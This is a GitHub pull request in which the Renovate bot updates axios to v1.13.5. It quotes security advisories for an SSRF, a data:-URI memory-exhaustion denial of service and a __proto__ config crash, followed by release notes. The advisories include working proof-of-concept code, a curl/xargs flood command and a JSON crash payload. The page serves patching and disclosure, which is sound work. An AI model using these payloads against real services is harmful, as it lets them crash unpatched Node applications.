Skip to content

fix(deps): update dependency axios to v1.13.5 [security]#2483

Open
renovate[bot] wants to merge 1 commit into
developfrom
renovate/npm-axios-vulnerability
Open

fix(deps): update dependency axios to v1.13.5 [security]#2483
renovate[bot] wants to merge 1 commit into
developfrom
renovate/npm-axios-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Sep 13, 2025

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.7.41.13.5 age confidence

Server-Side Request Forgery in axios

CVE-2024-39338 / GHSA-8hc4-vh64-cxmj

More information

Details

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Severity

High

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC
const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```

Suggestions
  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig
Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

axios/axios (axios)

v1.13.5

Compare Source

This release patches a prototype pollution denial-of-service vulnerability, fixes a missing status field regression in AxiosError, adds interceptor ordering control, and introduces URL validation for isAbsoluteURL.

v1.13.4

Compare Source

Patch release fixing regressions introduced in v1.13.3, including TypeScript export compatibility and CI/build stability.

v1.13.3

Compare Source

Bug Fixes
  • http2: Use port 443 for HTTPS connections by default. (#​7256) (d7e6065)
  • interceptor: handle the error in the same interceptor (#​6269) (5945e40)
  • main field in package.json should correspond to cjs artifacts (#​5756) (7373fbf)
  • package.json: add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (#​5754) (b89217e)
  • silentJSONParsing=false should throw on invalid JSON (#​7253) (#​7257) (7d19335)
  • turn AxiosError into a native error (#​5394) (#​5558) (1c6a86d)
  • types: add handlers to AxiosInterceptorManager interface (#​5551) (8d1271b)
  • types: restore AxiosError.cause type from unknown to Error (#​7327) (d8233d9)
  • unclear error message is thrown when specifying an empty proxy authorization (#​6314) (6ef867e)
Features
Reverts
Contributors to this release

v1.13.2

Compare Source

Bug Fixes
  • http: fix 'socket hang up' bug for keep-alive requests when using timeouts; (#​7206) (8d37233)
  • http: use default export for http2 module to support stubs; (#​7196) (0588880)
Performance Improvements
Contributors to this release

v1.13.1

Compare Source

Bug Fixes
  • http: fixed a regression that caused the data stream to be interrupted for responses with non-OK HTTP statuses; (#​7193) (bcd5581)
Contributors to this release

v1.13.0

Compare Source

Bug Fixes
Features
Contributors to this release

1.12.2 (2025-09-14)

Bug Fixes
  • fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#​7030) (cf78825)
Contributors to this release

1.12.1 (2025-09-12)

Bug Fixes
Contributors to this release

v1.12.2

Compare Source

Bug Fixes
Features
Contributors to this release

1.12.2 (2025-09-14)

Bug Fixes
  • fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#​7030) (cf78825)
Contributors to this release

1.12.1 (2025-09-12)

Bug Fixes
Contributors to this release

v1.12.1

Compare Source

Bug Fixes
Features
Contributors to this release

1.12.2 (2025-09-14)

Bug Fixes
  • fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#​7030) (cf78825)
Contributors to this release

1.12.1 (2025-09-12)

Bug Fixes
Contributors to this release

v1.12.0

Compare Source

Bug Fixes
Features
Contributors to this release

1.12.2 (2025-09-14)

Bug Fixes
  • fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#​7030) (cf78825)
Contributors to this release

1.12.1 (2025-09-12)

Bug Fixes
Contributors to this release

v1.11.0

Compare Source

Bug Fixes
Contributors to this release

v1.10.0

Compare Source

Bug Fixes
  • adapter: pass fetchOptions to fetch function (#​6883) (0f50af8)
  • form-data: convert boolean values to strings in FormData serialization ([#​6917](https://redi

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@korbit-ai

korbit-ai Bot commented Sep 13, 2025

Copy link
Copy Markdown

By default, I don't review pull requests opened by bots. If you would like me to review this pull request anyway, you can request a review via the /korbit-review command in a comment.

@coderabbitai

coderabbitai Bot commented Sep 13, 2025

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.


Comment @coderabbitai help to get the list of available commands and usage tips.

@renovate renovate Bot changed the title fix(deps): update dependency axios to v1.12.0 [security] fix(deps): update dependency axios to v1.12.0 [security] - autoclosed Sep 29, 2025
@renovate renovate Bot closed this Sep 29, 2025
@renovate
renovate Bot deleted the renovate/npm-axios-vulnerability branch September 29, 2025 20:39
@renovate renovate Bot changed the title fix(deps): update dependency axios to v1.12.0 [security] - autoclosed fix(deps): update dependency axios to v1.12.0 [security] Sep 30, 2025
@renovate renovate Bot reopened this Sep 30, 2025
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 4b67029 to 5ac3621 Compare September 30, 2025 10:41
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 5ac3621 to 8d58348 Compare October 25, 2025 19:54
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 5 times, most recently from e9c7d18 to f259e5a Compare November 20, 2025 21:03
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from f259e5a to 2ff6730 Compare December 1, 2025 18:52
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 3 times, most recently from 822d804 to bc2cc57 Compare December 11, 2025 19:40
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from bc2cc57 to 9d1dc43 Compare March 1, 2026 16:08
@renovate renovate Bot changed the title fix(deps): update dependency axios to v1.12.0 [security] fix(deps): update dependency axios to v1.13.5 [security] Mar 1, 2026
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 4a819f3 to 06bca7e Compare March 18, 2026 18:18
@renovate renovate Bot changed the title fix(deps): update dependency axios to v1.13.5 [security] fix(deps): update dependency axios to v1.13.5 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot changed the title fix(deps): update dependency axios to v1.13.5 [security] - autoclosed fix(deps): update dependency axios to v1.13.5 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 06bca7e to 9ebb14f Compare March 30, 2026 22:10
@renovate renovate Bot changed the title fix(deps): update dependency axios to v1.13.5 [security] fix(deps): update dependency axios to v1.13.5 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title fix(deps): update dependency axios to v1.13.5 [security] - autoclosed fix(deps): update dependency axios to v1.13.5 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 9ebb14f to 778caf7 Compare April 27, 2026 23:42
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 778caf7 to f0ab90c Compare May 28, 2026 17:29
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from f0ab90c to 5830c62 Compare June 21, 2026 17:30
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 5830c62 to b0ac364 Compare June 22, 2026 17:03
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants